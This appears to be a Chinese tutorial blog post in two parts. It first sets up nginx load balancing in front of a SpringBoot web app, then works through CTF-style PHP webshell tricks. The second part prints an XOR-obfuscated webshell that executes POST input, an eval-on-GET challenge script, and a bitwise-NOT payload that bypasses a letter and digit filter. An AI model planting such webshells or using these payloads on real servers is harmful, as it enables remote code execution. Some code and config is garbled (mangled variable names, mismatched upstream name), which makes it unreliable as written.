目录
[2)修改 nginx.conf的配置](#2)修改 nginx.conf的配置)
[2.webshell 实践](#2.webshell 实践)
1.nginx反向代理-负载均衡
1)搭建web项目
首先通过SpringBoot+Freemarker
快速搭建一个WEB
项目:springboot-web-nginx然后在该项目中,创建一个IndexNginxController.java
文件
@Controller
public class IndexNginxController {
@Value("${server.port}")
private String port;
@RequestMapping("/")
public ModelAndView index(){
ModelAndView model = new ModelAndView();
model.addObject("port", port);
model.setViewName("index");
return model;
}
}
在该Controller
类中,存在一个成员变量:port
,它的值即是从application.properties
配置文件中获取server.port
值。当出现访问/
资源的请求时,跳转前端index
页面,并将该值携带返回
前端的index.ftl
文件代码
<html>
<head>
<title>Nginx演示页面</title>
<link href="nginx_style.css" rel="stylesheet" type="text/css"/>
</head>
<body>
<div style="border: 2px solid red;margin: auto;width: 800px;text-align: center">
<div id="nginx_title">
<h1>欢迎来到熊猫高级会所,我是竹子${port}号!</h1>
</div>
</div>
</body>
</html>
2)修改 nginx.conf
的配置
upstream nginx_boot{
30s内检查心跳发送两次包,未回复就代表该机器宕机,请求分发权重比为1:2
server 192.168.198.128 weight=100 max_fails=2 fail_timeout=30s;
server 192.168.198.1 weight=200 max_fails=2 fail_timeout=30s;
这里的IP请配置成你WEB服务所在的机器IP
}
server {
location / {
root html;
配置一下index的地址,最后加上index.ftl。
index index.html index.htm index.jsp index.ftl;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
请求交给名为nginx_boot的upstream上
proxy_pass http://nginx_php;
}
}
2.webshell 实践
1)异或操作绕过
典型的异或操作绕过,PHP中是可以以下划线开头为变量名的,所以$_代表名为_的变量
<?php
$++; // $ = 1
$=("#"^"|"); // $ = _
$__.=("."^"~"); // _P
$__.=("/"^"`"); // _PO
$__.=("|"^"/"); // _POS
$__.=("{"^"/"); // _POST
{__}[!_\]({__}\[_]); // _POST\[0\](_POST[1]);
?>
执行getFlag函数,通过GET传参,并对code参数进行了字母大小写和数字过滤,这道题就可以用异或操作来绕过
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>40){
die("Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}else{
highlight_file(FILE);
}
//$hint = "php function getFlag() to get flag";
?>
2)取反绕过
<?php
$a = "getFlag";
echo urlencode(~$a);
?>
?code=_=\~%98%9A%8B%B9%93%9E%98;_();
%98%9A%8B%B9%93%9E%98这一串字符串先经过urldecode解码后交给后端处理
取反符号将url解码后的字符串转换成了getFlag,赋值给$_,然后执行,拿到flag
3)php语法绕过
<?php
$a='Z';
echo ++$a; //AA
echo ++$a; //AB
?>
在处理字符变量的算数运算时,PHP 沿袭了 Perl 的习惯,而非 C 的。例如,在 Perl 中 $a = 'Z'; $a++; 将把 $a 变成'AA',而在 C 中,a = 'Z'; a++; 将把 a 变成 '['('Z' 的 ASCII 值是 90,'[' 的 ASCII 值是 91)。注意字符变量只能递增,不能递减,并且只支持纯字母(a-z 和 A-Z)。递增/递减其他字符变量则无效,原字符串没有变化